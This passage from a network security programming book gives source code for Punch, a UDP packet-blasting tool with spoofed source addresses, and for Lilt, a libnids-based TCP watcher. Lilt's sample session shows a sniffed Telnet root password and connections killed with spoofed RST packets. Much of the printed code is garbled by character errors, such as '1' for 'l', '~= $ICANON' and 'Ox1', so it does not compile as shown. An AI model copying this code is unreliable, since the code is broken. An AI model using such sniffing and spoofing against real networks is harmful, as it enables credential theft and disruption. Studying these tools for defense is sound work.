construction and injection. A single dot prints for each packet pushed to the writing primitive. Upon successful
completion, a backspace character is sent to the screen (savvy users will note that this behavior is the same of
ping invoked with the "-f" switch). As you can see, building and writing 65,535 packets takes significantly more
time than generating only 14 packets (producing 65,535 packets without the "-f" switch would cause this number
to increase measurably). Another invocation of Punch is as follows:

  tradecraft:~# ./punch -s 10.1.2.3 -d 10.1.2.4 -P1-1000 -f -p
  'perl -e 'print "." x 1400"
  punch 1.0 [UDP packet shaping/blasting tool]
  ...............................................................................
  ...............................................................................
  ...............................................................................
  ....................................................
  Time spent in loop: 0.163819 seconds
  Packets sent:   865
  Packet errors:  135
  Bytes written:  1247330

Again, Punch invokes in fast mode-this time with a smaller port list argument but a much larger packet payload of
1400 bytes. The larger payload pushes the limits of the operating system kernel packet buffer space and results
in a 13.5 percent packet injection error rate (the kernel cannot empty the packet buffer fast enough before
another one pushes down). To reduce this error rate, the user would have to lower the payload size or increase
the pause rate between packet writes. This information is useful because the user can learn a bit about time
versus memory tradeoffs.

 



 

Sample Code—Punch

The following two source files comprise the Punch codebase. To preserve readability, we richly comment the
code but do not display book-text inside the code. You can download the full source files from this book's
companion Web site at http://www.wiley.com/compbooks/schiffman.

Punch.h

  /*
   *  $Id: punch.h,v 1.2 2002/03/24 20:06:38 route Exp $
   * 
   *  Building Open Source Network Security Tools
   *  punch.h - libnet example code
   *
   *  Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
   *  All rights reserved.
   *
   */
  #include <libnet.h>
  
  /*
   *  Simple way to subtract timeval based timers. Not every OS has this,
   *  so we'll just define it here
   */
  #define PTIMERSUB(tvp, uvp, vvp)                                          \
          do {                                                              \
                  (vvp)-> tv_sec = (tvp)-> tv_sec - (uvp)-> tv_sec;         \
                  (vvp)-> tv_usec = (tvp)-> tv_usec - (uvp)->tv_usec;       \
                  if ( (vvp)-> tv_usec < 0) {                               \
                           (vvp) -> tv_sec-;                                \
                           (vvp) -> tv_usec += 1000000;                     \
                  }                                                         \
          } while (0)
  
  /* Check the OUI table for this one! */
  u_char enet_src[6] = {0x00, 0x50, 0x58, 0x0d, 0x0d, 0x0d};
  u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  void usage(char *);
  /* EOF */

punch.c

  /*
   *  $Id: punch.c,v 1.2 2002/03/24 20:06:38 route Exp $
   *
   *  Building Open Source Network Security Tools
   *  punch.c - libnet 1.1.0 example code

http://www.wiley.com/compbooks/schiffman


   *
   *  Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
   *  All rights reserved.
   *
   */
  #include "./punch.h"
  
  int
  main(int argc, char **argv)
  {
      u_short sleep;
      libnet_t *1;
      char *payload;
      libnet_ptag_t t, udp;
      int c, fast, timer, build_ip;
      u_long src_ip, dst_ip;
      struct timeval r, s , e;
      struct libnet_stats ls;
      char dot = '.', bs = '\b';
      libnet_plist_t plist, *plist_p;
      char errbuf[LIBNET_ERRBUF_SIZE];
      u_short payload_s, bport, eport, cport;
  
      printf("Punch 1.0 [UDP packet shaping/blasting tool] \n");

      /*
       *  Power up libnet using the link-layer interface. We're going to
       *  rely on libnet to find a device to use and 'errbuf' will hold
       *  the error if something breaks.
       */
      1 = libnet_init(
              LIBNET_LINK,                        /* injection type */
              NULL,                               /* network interface */
              errbuf);                            /* errbuf */
      if (l == NULL)
      {
          fprintf(stderr, "libnet_init() failed: %s", errbuf);
          exit(EXIT_FAILURE);
      }
  
      fast = 0;
      timer = 1;
      sleep = 0;
      src_ip = 0;
      dst_ip = 0;
      payload_s = 0;
      qpayload = NULL;
      plist_p = NULL;
     
      while ((c = getopt(argc, argv, "d:fs:s:p:P:")) != EOF)
      {
          switch (c)



          {
              case 'd':
                  dst_ip = libnet_name2addr4(1, optarg, LIBNET_RESOLVE);
                  if (dst_ip == -1)
                  {
                      fprintf(stderr, "Bad IP address %s\n", optarg);
                      exit (EXIT_FAILURE);
                  }
                  break;
              case 'f':
                  fast = 1;
                  break;
              case 'S' :
                  sleep = atoi(optarg);
                  break;
              case 's':
                  src_ip = libnet_name2addr4 (1, optarg, LIBNET_RESOLVE);
                  if (src_ip == -1)
                  {
                      fprintf(stderr, "Bad IP address: %s\n", optarg);
                      exit(EXIT_FAILURE);
                  }
                  break;
              case 'P':
                  /*
                   * Initialize the port list chain. Libnet's expecting
                   * the port list to be specified in the format "x - y,
                   * z" or some combination thereof.
                   */
                  plist_p = &cplist;
                  if (libnet_plist_chain_new(l, &plist_p, optarg) == -1)
                  {
                      fprintf(stderr,
                              "Bad token: %s\n", libnet_geterror(1));
                      exit(EXIT_FAILURE);
                  }
                  break;
              case 'p':
                  payload = optarg;
                  payload_s = strlen(payload);
                  break;
              default:
                  usage(argv[0]);
                  exit(EXIT_FAILURE);
          }
      }
  
      if (!src_ip || !dst_ip || !plist_p)
      {
          usage(argv[0]);
          exit(EXIT_FAILURE);
      }



  

      /* initialize these guys */
      udp = t = LIBNET_PTAG_INITIALIZER;
  
      /* start the loop timer */
      if (gettimeofday(&s, NULL) == -1)
      {
          fprintf(stderr, "Can't set timer\n");
          timer = 0;
      }
  
      /*
       * Only the first time we run through the loop will we need to
       * build an IPv4 and an Ethernet header.
       */
      build_ip = 1;
  
      /*
       * Start through the packet sending loop pulling out port list
       * numbers as we go. This will terminate when we run out of port
       * list pairs.
       */
      for (; libnet_plist_chain_next_pair (plist_p, &bport, &eport); )
      {
          while (!(bport > eport) && bport != 0)
          {
              cport = bport++;
              /*
               * Start our packet building process. Remember we have to
               * the packet in order as it will appear on the wire. We
               * go from highest protocol to lowest, so we start with
               * our UDP header (and any user supplied payload data).
               * Since we're going to be modifying this packet header
               * throughout the loop, we'll save the ptag 'udp' and
               * reuse it.
               */
              udp = libnet_build_udp(
                  1025,                            /* source port */
                  cport,                           /* destination port */
                  LIBNET_UDP_H + payload_s,        /* packet size */
                  0,                               /* checksum */
                  payload,                         /* payload */
                  payload_s,                       /* payload size */
                  l,                               /* libnet context */
                  udp);                            /* ptag */
              if (udp == -1)
              {
                  fprintf(stderr, "Can't build UDP header (port %d): %s\n",
                          cport, libnet_geterror(1));
                  goto bad;
              }



  
              /*
               * The first time through the loop we'll build an IPv4 and
               * an Ethernet header. Since we're not going to modify
               * either one of them again, we only need to do this once.
               */
              if (build_ip)
              {
                  build_ip = 0;
                  /*
                   * Build the IPv4 header. Note that we have to pass in
                   * the ENTIRE IP packet length, including the IP header
                   * itself. Previous versions of libnet would assume a
                   * length of at least 20 bytes and would add to that
                   * value whatever the app programmer passed in. Also
                   * note the checksum of 0, which tells libnet to
                   * compute the checksum before writing the packet to
                   * the wire. The payload functionality isn't used here
                   * since we havelibnet functionality to build our UDP
                   * header. The ptag 't' is thrown away since we're not
                   * going modify the IP header again.
                   */
                  t = libnet_build_ipv4(
                                                  /* total length */
                      LIBNET_IPV4_H + LIBNET_UDP_H + payload_s,
                      0,                          /* type of service */
                      242,                        /* identification */
                      0,                          /* fragmentation * /
                      64,                         /* time to live */
                      IPPROTO_UDP,                /* protocol */
                      0,                          /* checksum */
                      src_ip,                     /* source */
                      dst_ip,                     /* destination */
                      NULL,                       /* payload */
                      0,                          /* payload size */
                      1,                          /* libnet context */
                      0);                         /* ptag */
                  if (t == -1)
                  {
                      fprintf(stderr, "Can't build IP header: %s\n",
                              libnet_geterror(1));
                      goto bad;
                  }

                  /*
                   * Build the Ethernet header and discard the ptag.
                   */
                  t = libnet_build_ethernet(
                      enet_dst,                /* ethernet destination */
                      enet_src,                /* ethernet source */
                      ETHERTYPE_IP,            /* protocol type */
                      NULL,                    /* payload */



                      0,                       /* payload size */
                      1,                       /* libnet context */
                      0);                      /* ptag */
                  if (t == -1)
                  {
                      fprintf(stderr, "Can't build ethernet header: %s\n",
                              libnet_geterror(1));
                      goto bad;
                  }
              }

              if (sleep)
              {
                  /* even 1 usec makes a huge difference */
                  usleep(sleep);
              }
              if (fast)
              {
                  /* this is needed to set up the screen properly */
                  write(STDERR_FILENO, &dot, 1);
              }
              /*
               * Write the packet to the wire. Libnet will handle the
               * checksum calculation here for IP (since we're at the
               * link-layer) and UDP.
               */
              c = libnet_write(1);
              if (c == -1)
              {
                  if (fast)
                  {
                      write(STDERR_FILENO, &dot, 1);
                  }
                  else
                  {
                      fprintf(stderr, "write error: %s\n",
                              libnet_geterror(1));
                  }
              }
              else
              {
                  if (fast)
                  {
                      write(STDERR_FILENO, &bs, 1);
                  }
                  else
                  {
                      fprintf(stderr,
                              "wrote %d byte UDP packet to port %d\n",
                              c, cport);
                  }
              }



          }
      }

      if (timer)
      {
          if (gettimeofday(&e, NULL) == -1)
          {
              fprintf(stderr, "Can't set timer\n");
          }
          else
          {
              PTIMERSUB(&e, &s, &r);
              fprintf(stderr, "\nTime spent in loop: %ld.%ld seconds \n",
                      r.tv_sec, r.tv_usec);
          }
      }
      libnet_stats(1, &ls);
      printf("Packets sent: %ld\nPacket errors: %ld\nBytes written:
  %ld\n",
             ls.packets_sent, ls.packet_errors, ls.bytes_written);

      libnet_destroy(l);
      return (EXIT_SUCCESS);
  bad:
      libnet_destroy(l);
      return (EXIT_FAILURE);
  }
  

  void
  usage(char *name)
  {
      fprintf (stderr,
               "usage: %s:\n"
               "-s ip\t\tSource IP address\n"
               "-d ip\t\tDestination IP address\n"
               "-P port list\tUDP port list (x-y,z)\n"
               "[-f]\t\tFast mode, minimal screen output\n"
               "[-p payload]\tPayload\n"
               "[-S usec] \tMicrosecond pause between writing\n", name);
  }
  
  /* EOF */

 



 

Chapter 4: The Libnids Library

Overview

URL: http://www.packetfactory.net/Projects/libnids

Primary author: Rafal Wojtczuk

Component type: C language library

License: GPL

Version profiled: 1.16

Dependencies: libnet-1.0.x, libpcap

Libnids provides the programmer with a portable API to simulate the Event Generator (E-box) component of a
Network Intrusion Detection System (NIDS). Within the context of an NIDS, the E-box's job is to sample the
environment in which it specializes and convert occurrences in the environment into standard data objects for
subsequent storage and/or analysis. In libnids' case, the environment is the local network, and the
occurrences consist of standard lowlevel packet capturing and evaluation events. Currently, Libnids offers the
following functions:

IP defragmentation (mimics a Linux 2.0.36 kernel)

TCP stream reassembly (mimics a Linux 2.0.36 kernel)

TCP port scan detection (tunable by the applications programmer)

Libnids was designed to be robust and to stand up to many of the vulnerabilities that traditionally plague
NIDS. The libnids engine correctly handles all of the issues detailed in the landmark Newsham/Ptacek NIDS
evasion paper as well as all of the attacks that Dug Song's original Fragrouter tool performs.

Libnids is useful for building an NIDS. The library takes care of all the lowlevel network legwork and algorithm
design, reducing the application programmer's task of construction and high-level event decoding.

 

http://www.packetfactory.net/Projects/libnids


 

Installation Notes

Installation of the library is straightforward:

tradecraft:/usr/local/src/libnids-1.16# ./configure; make; make install

 



 

Native Datatypes

Libnids makes use of a great deal of global data and provides several native datatypes that the application
programmer needs to know about.

struct nids_prm {

nids_prm is the main control structure for libnids. It dictates most of libnids' behavior throughout the entire

library. It is a global structure available to every libnids function.

int n_tcp_streams;

n_tcp_streams sets the size of the hash table used for storing TCP connections (struct tcp_stream).

This parameter implicitly sets the limit on the number of concurrent TCP connections that libnids will monitor.
If the limit is set to 0, libnids does not assemble any TCP connections (although this action would disable a

large portion of libnids' functionality).

int n_hosts;

n_hosts sets the size of the hash table used for storing IP defragmentation information.

char *device;

device is the canonical name of the network interface to monitor. If the device is set to NULL, libnids calls
libpcap's pcap_lookupdev () to find a suitable device. Under Linux, if the device is set to "all", libnids

monitors every available network interface. In some circumstances, however, this situation can result in
duplicate packets delivered to UDP and IP callback functions (which maintain no state). Libnids properly
handles duplicate TCP data and delivers it to the TCP callbacks.

int sk_buff_size;

sk_buff_size controls how large struct sk_buff gets, which in turn is useful for queuing packets.

Generally speaking, you should set this value to the same size as the hosts you are monitoring.

int dev_addon;

dev_addon is the number of bytes in sk_buff, which are reserved for link-layer information. If this value is
set to -1, libnids determines an appropriate offset automatically based on the link-layer type.



void (*syslog) ();

syslog () is a callback function that reports unusual conditions, such as port scan attempts, invalid TCP
header flags, and so on. Information handed to syslog () then passes back to the operating system.

int syslog_level;

syslog_level is the syslog reporting level used for reporting events to the operating system. You can find

more information in the documentation, specifically syslog(3).

int scan_num_hosts;

scan_num_hosts is the size of the hash table used for storing port-scan information (the maximum number
of portscans that will be detected simultaneously). If scan_num_hosts is set to 0, portscan detection will be

disabled.

int scan_delay;

scan_delay sets the maximum delay in milliseconds for connections to different TCP ports for libnids to

identify them as part of a portscan.

int scan_num_ports;

scan_num_hosts sets the low-water threshold for the number of TCP packets to different ports on a

machine before libnids identifies it as a portscan. Note that libnids' portscan detection is not restricted to a
monotonically increasing port number; rather, libnids works from an event-based model that will detect port
scans to different "random" ports (on different IP addresses) by looking at inter-arrival time periods.

void (*no_mem) (char *);

no_mem () is a callback function used to terminate the calling process gracefully when the underlying
memory allocation function fails. The default program simply writes to STDERR and exits.

int (*ip_filter) ();

ip_filter () is a callback function that selectively discards IP packets after reassembly and inspection. If

the function returns a non-zero value, the packet is processed; otherwise, the packet is discarded. The libnids



default function is set to always return true.

char *pcap_filter;

pcap_filter specifies a BPF filter string to apply to the link-layer device. Note that certain filters will not
catch specially fragmented packets. For example, a filter string of "tcp dst port 23" does not catch 8-

byte IP fragments that do not contain TCP header information (even if upon reassembly the IP packet
contains a TCP segment).

int promisc;

promisc controls whether or not libnids places the interface into promiscuous mode or not. As with any

libpcap-based sniffing application, the interface might be put in promiscuous mode by a different application
(see Chapter 2 for additional details on libpcap).

int one_loop_less;

one_loop_less, when set, changes the overall behavior of libnids. If a callback function consumes some

(but not all) of newly arrived data, libnids immediately calls it again to process the rest of the data. This
process continues until libnids processes all of the data. If there is no new data, however, the callback
function will not be called again.

};
struct tuple4 {

tuple4 contains the standard TCP/IP "4-tuple" information needed to uniquely identify a TCP connection.

u_short source;

source is the source port of the packet.

u_short dest;

dest is the destination port of the packet.

u_int saddr;



saddr is the IP source address of the packet.

u_int daddr;

daddr is the IP destination address of the packet.

};
struct half_stream {

half_stream tracks the state of one-half of a TCP connection and controls some of libnids' behavior on the

referenced half of the connection.

char state;

state refers to the state of the connection (TCP_ESTABLISHED, TCP_SYN_RECV, and so on).

char collect;

collect is a Boolean value specifying whether or not libnids should collect data for this half of the

referenced connection into the buffer to which the data points.

char collect_urg;

collect_urg is a Boolean value specifying whether or not libnids should collect urgent data (specified by

the TCP URG flag and pointed to by the TCP urgent pointer) for this half of the referenced connection into
the buffer to which urgdata points.

char *data;

data points to the buffer for normal data.

int offset;

offset identifies the first byte of new data in data, as referenced from the beginning of the buffer.

int count;



count refers to the number of bytes appended to data since the creation of the connection.

int count_new;

count_new refers to the number of bytes appended to data since the last invocation of the TCP callback
function. If count_new is 0, no new data has arrived.

u_char urgdata;

urgdata is a 1-byte buffer for urgent data.

u_char count_new_urg;

count_new refers to the number of bytes appended to urgdata since the last invocation of the TCP callback
function. If count_new_urg is 0, no new data has arrived.

...

Other members of this structure are internal to libnids, and the application programmer does not need to
know about them.

};
struct tcp_stream {

tcp_stream references a TCP connection between two hosts.

struct tuple4 addr;

tuple4 contains the 4-tuple information for the connection, as we described earlier.

char nids_state;

nids_state controls the behavior of the user-defined TCP callback function as per five control states:

NIDS_JUST_EST describes a connection that has just been established.1.

NIDS_DATA indicates new data has arrived on the connection.2.

3.



1.

2.

NIDS_CLOSE, NIDS_RESET, and NIDS_TIMED_OUT indicate that the connection has been closed

and that the TCP callback function should free allocated resources referencing this connection.

3.

struct half_stream client;

client refers to the client side of the TCP connection.

struct half_stream server;

server refers to the server side of the TCP connection.

...

Other members of this structure are internal to libnids, and the applications programmer does not need to
know about them.

 



 

Initialization and Execution Functions

Unlike libpcap and libnet, libnids does not give the user a descriptor to pass around to subordinate functions.
The main control structure is initialized by nids_init (), but it is referenced in a global context (to which all

of the libnids functions then refer). The first function initializes the library for use, and the rest control
execution of programs built on top of the library. The use of this global data, while convenient, is not
intrinsically thread-safe because there are no synchronization mechanisms inside libnids.

int nids_init ();

nids_init () initializes the library based on the values set in the monolithic control structure
nids_params. By default, these values are as follows:

n_tcp_streams           = 1040;
n_hosts                 = 256;
device                  = pcap_lookupdev (nids_errbuf);
sk_buff_size            = 168;
dev_addon               = -1;
syslog                  = nids_syslog;
syslog_level            = LOG_ALERT;
scan_num_hosts          = 256;
scan_delay              = 3000;
scan_num_ports          = 10;
no_mem                  = nids_no_mem;
ip_filter               = nids_ip_filter;
pcap_filter             = NULL;
promise                 = 1;
one_loop_less           = 0;

Upon success, the function returns 1 and libnids is then ready for use; upon failure, the function returns 0 and
libnids_errbuf contains the reason.

Note The libpcap interface is initialized with a timeout of 1024 ms.

int nids_run (void);

nids_run () starts the game. Once called, this function loops—capturing packets and calling the
appropriate registered callback functions on packets received. nids_run () is basically a wrapper to
pcap_loop (), as described in Chapter 2.

int nids_next (void);

nids_next () is an alternate to nids_run (). The function sleeps until a packet arrives. When a packet



arrives, the function wakes up and passes the received packet to an internal handler that runs through the
callback function lists. Upon success, the function returns 1; upon failure, it returns 0 and sets
nids_errbuf. nids_next () is basically a wrapper to pcap_next (), as described in Chapter 2. It
can fail if the library is not initialized or if pcap_next () returns NULL.

Note Note that nids_next () calls pcap_next () (which, as noted in Chapter 2, exhibits

inconsistent cross-platform behavior when a read timeout is used). Under BSDish operating
systems, the timeout is observed and pcap_next () waits 1024 ms to gather as many packets as
it can before returning to nids_next (). Under Linux, the timeout is ignored and pcap_next ()

returns immediately after a single packet is captured.

int nids_getfd (void);

nids_getfd () returns the underlying (libpcap) file descriptor of the packet capture device. This procedure
is useful in conjunction with select () for an application that wants to do other stuff while libnids waits
(sleeps) for packets. nids_getfd () is basically a wrapper to pcap_fileno (), as we described in
Chapter 2. Upon success, the function returns the file descriptor; upon failure, it returns -1 and the global
error buffer nids_errbuf contains the reason.

 



 

Callback Registration Functions

Much of the power and flexibility in libnids comes from its liberal use of stackable callback functions. One or
more callbacks can be registered for both fragmented and assembled IP traffic as well as UDP and TCP
traffic. Each time libnids receives a packet matching one of these types (that passes up through the filter), it
invokes each of the registered callback functions for that type (in order). Note that one packet might elicit a
callback from an IP callback as well as a TCP or UDP callback.

void nids_register_ip_frag (void (*ip_frag_func) (struct ip
*pkt, int len));

nids_register_ip_frag () registers a user-defined callback func-tion ip_frag_func (struct ip
*pkt, int len) to process any IP packet that libnids receives, including a fragmented packet or a packet
with a bad checksum. pkt is the IP packet, and len is the length of the packet.

void nids_register_ip (void (*ip_func) (struct ip *pkt, int
len));

nids_register_ip () registers a user-defined callback function ip_func (struct ip *pkt, int
len) to process a fully validated and reassembled IP packet pkt, its length being len.

void nids_register_udp (void (*udp_func) (struct tuple4 *addr,
u_char *data, int len, struct ip *pkt));

nids_register_udp () registers a user-defined callback function udp_func (struct tuple4
*addr, u_char *data, int len, struct ip *pkt) that will be called on every UDP packet
captured by libnids. addr contains the tuple information for the UDP packet; data points to possible packet
data (after the UDP header), and pkt points to the IP packet that contains the UDP packet. len is the overall

length.

void nids_register_tcp (void (*tcp_func) (struct tcp_stream
*ts, void **param));

nids_register_tcp () registers a user-defined callback function tcp_func (struct tcp_stream
*ts, void **param) that will be called on TCP packets in one of two states:

During the three-way handshake process1.

When libnids receives a packet that is part of a stream that the callback registered to watch2.

 



 

TCP-Specific Functions

The following functions are meant for use with TCP traffic only.

void nids_killtcp (struct tcp_stream *ts);

nids_killtcp () terminates a TCP connection that ts references with RST packets to both the client and

the server. This is the only location inside libnids that libnet's functionality is used.

void nids_discard (struct tcp_stream *ts, int num);

You can call nids_discard () from inside the user-defined TCP callback function to discard (mark as
read) the num number of bytes from the TCP connection that ts references.

 



 

Sample Program–Lilt

The following small program illustrates some of the basic functionality in the libnids library. Lilt is a bare-
bones TCP watching tool. It offers the user the capability to monitor the network for TCP connections and
TCP port scans. Once Lilt locks on to a TCP connection, the user has the option of watching or terminating
the connection. Connection watching is generally only useful if the connection in question is not transaction-
oriented (in other words, HTTP) and largely consists of printable ASCII characters such as Telnet or
Internet Relay Chat (IRC). Lilt is pretty stupid in that no post-libnids processing on the TCP streams

occurs in order to decode or analyze the data—so only textual data prints as it is found in the data portion of
the TCP packet. Another major drawback of Lilt is that it can only handle a single TCP connection at a time.
As soon as it sees a connection that it wants to monitor, Lilt locks on to this connection and ignores all others
until it ends—either naturally or as a result of the user deciding to terminate it (optionally, the user can discard
the connection by pressing D). Connection termination (via spoofed RST packets) works for any TCP
connection to which libnids locks on.

Lilt is both user-input and network-driven in that it performs synchronous input/output (I/O) multiplexing

across the libnids network file descriptor and standard input. Once invoked, it sits and waits for TCP activity or
commands from the user. The following sample invocation of Lilt shows its command summary:

tradecraft: ~# ./lilt
Lilt 1.0 [the littlest network watcher]
TCP monitoring callback registered
Monitoring connections to the following ports: 23 6667
Libnids engine initialized, waiting for events...

<?>
-[lilt command summary]-
[?] - this blurb
 d - discard connection from scope
 k - kill connection
[p] - display ports being monitored
[q] - quit lilt
[s] - statistics
 w - watch connection

<q>
-[later dorkus!]-

The commands available to the user appear within brackets, and the other commands are unavailable until a
connection comes into scope.

Lilt also accepts a single argument: a comma-delimited list of TCP well-known ports to monitor (if this
argument is omitted as it was earlier, Lilt defaults to monitoring connections to port 23 and port 6667). The
following example is a sample invocation of libnids across a relatively quiet network:

tradecraft: ~# lilt -m22, 23, 6667
Lilt 1.0 [the littlest network watcher]
TCP monitoring callback registered
Monitoring connections to the following ports: 22 23 6667



Libnids engine initialized, waiting for events...

-[Dec 30 11:44:03: TCP connection: 192.168.0.94.1680 -> 10.0.0.7.23]-

<?>
-[lilt command summary]-
[?] - this blurb
[d] - discard connection from scope
[k] - kill connection
[p] - display ports being monitored
[q] - quit lilt
[s] - statistics
[w] - watch connection

<w>
-[watching connection]-
%%%%& #'$& #' $PANSI"!"!
FreeBSD/i386 (dork.parade.net) (ttyp2)

login: rroooott

Password:110v4d&D

Last login: Mon Dec 31 02:03:22 from 192.168.0.94
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
        The Regents of the University of California. All rights
reserved.

FreeBSD 4.1-RC (DORK) #25: Tue Jul 17 17:57:52 EDT 2001

---------------------------------------------------------------------

- Unauthorized use of this computer is really frowned upon
- If anyone has any spare 20 sided dice pls send mail to root

---------------------------------------------------------------------

You have mail.
"Deliver yesterday, code today, think tomorrow."
dork:~> llss

Mail                             monster-manual.pdf
dork:~>

<k>
-[killing connection]-

-[Dec 30 11:45:08: TCP connection terminated]-

-[Dec 30 11:48:13: TCP connection: 192.168.0.94.1683 ->
10.16.10.22.6667]-

<k>



-[killing connection]-

-[TCP connection terminated]-

<s>
-[lilt statistics]-
TCP connections:                   2
TCP connections killed:            2
Port scans detected:               0

-[Dec 30 11:54:41: portscan detected from 192.168.0.94]-
10.0.1.3:22
10.0.1.3:23
10.0.1.3:25
10.0.0.1:80
10.0.1.3:110
10.0.1.3:135
10.0.1.3.139
10.0.1.3.443

<s>
-[lilt statistics]-
TCP connections:        2
TCP connections killed: 2
Port scans detected:    1

<q>
-[later dorkus!]-

The first connection that Lilt saw that matched its filter list was a Telnet connection (TCP/23). Notice that
because a connection was in scope, all of Lilt's commands were available. The user pressed W to watch the
connection and nabbed the root login and password. Shortly thereafter, the user issued a kill command
(pressed the K key) to terminate the connection. The user also immediately killed the next connection
(established to an IRC server [TCP/6667]). Later on, a portscan was detected; the user checked statistics and
then quit the program.

One small footnote to Lilt is its slightly inconsistent behavior on different platforms. Under OpenBSD, the user
notices a lag between network activity and what is displayed in "real-time" on the Lilt console. Under Linux,
this lag is non-existent due to differences in how the operating systems handle libpcap read timeouts.
OpenBSD supports the timeout, and Linux does not. So what is happening is that Lilt, under OpenBSD, is
technically being more efficient by attempting to read many packets at once—but it is a poor performer for a
real-time application (BPF buffers packets inside the kernel). Linux, while utilizing more kernel time, provides
a friendlier operation to the user.

In order to fix this problem, the application programmer would have to change the libpcap timeout to 0 and
call an ioctl to set the BPF device to return immediately when a packet becomes available. At this writing,
because there is no high-level primitive to change the libpcap timeout in libnids, in order to make this behavior
more consistent the application programmer has to modify the libnids source directly and rebuild the library.
We revisit this problem (with a portable solution) in Chapter 12.

 



 

Sample Code–Lilt

The following two source files comprise the Lilt codebase. To preserve readability, we richly comment the code but do not
display book-text inside the code. You can download the full source files from this book's companion Web site at
http://www.wiley.com/compbooks/schiffman .

Lilt.h

/*
 * $Id: lilt.h,v 1.7 2002/01/02 02:43:02 route Exp $
 *
 * Building Open Source Network Security Tools
 * lilt.h - libnids example code
 *
 * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
 * All rights reserved.
 *
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <unistd.h>
#include <termios.h>
#include <ctype.h>
#include <time.h>
#include <nids.h>

/*
 * The following two structures taken from libnids sources to be used
 * in the reporting function.
 */
struct scan
{
     u_int addr;
     unsigned short port;
     u_char flags;
};

struct host
{
     struct host *next;

http://www.wiley.com/compbooks/schiffman


     struct host *prev;
     u_int addr;
     int modtime;
     int n_packets;
     struct scan *packets;
};

struct lilt_pack
{
#define M_LEN              128 /* this should be more than enough */
   u_short mon[M_LEN];         /* list of TCP WKP to monitor */
   u_char flags;               /* control flags */
#define LP_CONN            Ox1 /* there is a connection to watch */
#define LP_WATCH           0x2 /* watch this connection */
#define LP_KILL            0x4 /* kill this connection */
#define LP_DISCARD         0x8 /* discard this connection */
   struct tuple4 t;            /* four tuple of the connection in question */
   int tcp_count;              /* number of TCP connections seen */
   int tcp_killed;             /* number of TCP connections killed */
   int ps_count;               /* number of port scans seen */
};

char *cull_address (struct tuple4);
char *get_time ();
int set_ports (char *);
void monitor_tcp (struct tcp_stream *, void *);
void report (int, int, void *, void *);
void command_summary ();
void usage (char *);
int interesting (u_short);
void lock_tuple (struct tuple4);
int our_tuple (struct tuple4);
void process_command ();

/* EOF */

Lilt.c

     /*
      * $Id: lilt.c,v 1.10 2002/01/02 03:21:27 route Exp $
      *
      * Building Open Source Network Security Tools
      * lilt.c - libnids example code
      *
      * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
      * All rights reserved.
      *
      */
     #include "./lilt.h"



     struct lilt_pack lp;

     int
     main(int argc, char **argv)
     {
          int c, fd;
          fd_set read_set;
          struct termios term;
     memset (&1p, 0, sizeof (lp));
     while ((c = getopt (argc, argv, "m:")) != EOF)
     {
          switch (c)
          {
               case 'm':
                    /*
                     * Set the ports to be monitored. We want them to be
                     * of the format x,y,z. If we wanted, we could use
                     * libnet's port list chaining functionality here to
                     * be more robust.
                     */
                    if (set_ports (optarg) == -1)
                    {
                       fprintf (stderr, "set_ports (): bad port list\n");
                       exit (EXIT_FAILURE);
                    }
                    break;
               default:
                    usage (argv[0]);
                    exit (EXIT_FAILURE);
          }
     }

     printf ("Lilt 1.0 [the littlest network watcher]\n");

     if (lp.mon[0] == 0)
     {
          /* if the user specified no ports to look for, use these */
          lp.mon[0] = 23;
          lp.mon[1] = 6667;
     }

     /*
      * Change the following libnids defaults:
      * scan_num_ports: 7
      * Slightly more sensitive than the default of 10.
      * syslog: report
      * Use our own function rather than syslog to report portscans.
      * pcap_filter: "tcp"
      * Limit libnids to capturing TCP packets only.
      */
     nids_params.scan_num_ports             = 7;
     nids_params.syslog                     = report;



     nids_params.pcap_filter                = "tcp";

     /* initialize the library */
     if (nids_init () == 0)
     {
          fprintf (stderr, "nids_init() failed: %s\n", nids_errbuf);
          exit (EXIT_FAILURE);
     }
     /*
      * Register the TCP callback. We could stack more TCP callback
      * functions here but in this sample program we only have one.
      */
     nids_register_tcp(monitor_tcp);
     printf("TCP monitoring callback registered\n");
     printf("Monitoring connections to the following ports: ");
     for (c = 0; 1p.mon[c]; C++)
     {
          printf("%d", 1p.mon[c]);
     }

     printf("\nLibnids engine initialized, waiting for events...\n");

     /*
      * We want to change the behavior of stdin to not echo characters
      * typed and more importantly we want each character to be handed
      * off as soon as it is pressed (not waiting for \r). To do this
      * we have to manipulate the termios structure and change the
      * normal behavior of stdin. First we get the current terminal
      * state of stdin. If any of this fails, we'll warn, but not quit.
      */
     c = tcgetattr(STDIN_FILENO, &term);
     if (c == -1)
     {
          perror("main(): tcgetattr():");
          /* nonfatal */
     }
     else
     {
          /* disable canonical mode and terminal echo */
          term.c_lflag ~= $ICANON;
          term.c_lflag ~= $ECHO;

          /* set our changed state "NOW" */
          c = tcsetattr (STDIN_FILENO, TCSANOW, &term);
          if (c == -1)
          {
               perror("main(): tcsetattr():");
               /* nonfatal */
          }
     }

     /*



      * Lilt is driven by commands from the user and input from the
      * network. Since we want to monitor for both at the "same time"
      * we need to do synchronous I/O multiplexing across these two
      * input streams. We'll watch the libnids descriptor to see if
      * there is any network traffic we need to pay attention to and
      * also we monitor stdin to see if the user hits a key we need to
      * process. To do this, we call nids_getfd() to get the underlying
      * network file descriptor (which is really a wrapper to 
      * pcap_fileno()). Then we call nids_next () in conjunction with
      * select ().
      */
     for (fd = nids_getfd();;)
     {
          FD_ZERO(&read_set);
          FD_SET(fd, &read_set);
          FD_SET(STDIN_FILENO, &read_set);

          /* check the status of our file descriptors */
          c = select (fd + 1, &read_set, 0, 0, NULL);
          if (c > 0)
          {
               /* input from libnids? */
               if (FD_ISSET(fd, &read_set))
               {
                    /*
                     * nids_next() handles the calling of our callback
                     * function.
                     */
                    if (nids_next() == 0)
                    {
                         /* non-fatal, pcap_next() probably returned NULL */
                         continue;
                    }
               }
               /* input from the user? */
               if (FD_ISSET(STDIN_FILENO, &read_set))
               {
                    /* hand the keypress off be processed */
                    process_command(argv[0]);
               }
          }
          if (c == -1)
          {
               perror("select:");
          }
     }     
     /* NOT REACHED */
